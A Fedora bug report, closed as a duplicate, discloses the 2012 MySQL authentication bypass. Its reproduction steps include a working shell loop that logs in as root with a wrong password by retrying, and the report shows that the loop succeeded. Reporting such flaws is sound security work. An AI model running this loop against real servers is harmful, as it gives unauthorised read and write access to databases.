Bug 830650 - MySQL security break
Summary: MySQL security break
Keywords:
Status: CLOSED DUPLICATE of bug 830680
Alias: None
Product: Fedora
Classification: Fedora
Component: mysql
Version: 17
Hardware: x86_64
OS: Linux
unspecified
unspecified
Target Milestone: ---
Assignee: Tom Lane
QA Contact: Fedora Extras Quality Assurance
URL:
Whiteboard:
Depends On:
Blocks: CVE-2012-2122
TreeView+ depends on / blocked
 
Reported: 2012-06-11 05:43 UTC by Arthur Buliva
Modified: 2012-06-11 08:21 UTC (History)
5 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2012-06-11 08:21:47 UTC
Type: Bug
Embargoed:


Attachments (Terms of Use)

Description Arthur Buliva 2012-06-11 05:43:25 UTC
Description of problem:

Any user without MySQL username/password is able to query and update databases with a hack that has recently been posted online:

Version-Release number of selected component (if applicable):
sh-4.2$ rpm -qa | grep -i mysql
mysql-connector-odbc-5.1.10-1.fc17.x86_64
mysql-5.5.23-1.fc17.x86_64
mysql-libs-5.5.23-1.fc17.x86_64
perl-DBD-MySQL-4.020-2.fc17.x86_64
mysql-workbench-5.2.40-1.fc17.x86_64
mysql-utilities-1.0.5-2.fc17.noarch
php-mysql-5.4.3-1.fc17.x86_64
mysql-server-5.5.23-1.fc17.x86_64
mysql-connector-python-0.3.2-3.fc17.noarch
sh-4.2$ uname -a
Linux wombat 3.3.7-1.fc17.x86_64 #1 SMP Mon May 21 22:32:19 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
sh-4.2$



How reproducible:


Steps to Reproduce:
1. Open terminal
2. for i in `seq 1 512`; do echo 'select @@version;' | mysql -h 127.0.0.1 -u root mysql --password=X 2>/dev/null && break; done
3.
  
Actual results:
sh-4.2$ for i in `seq 1 512`; do echo 'select @@version;' | mysql -h 127.0.0.1 -u root mysql --password=X 2>/dev/null && break; done
@@version
5.5.23
sh-4.2$


Expected results:
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)



Additional info:

Comment 1 Jan Lieskovsky 2012-06-11 08:21:47 UTC

*** This bug has been marked as a duplicate of bug 830680 ***


Note You need to log in before you can comment on or make changes to this bug.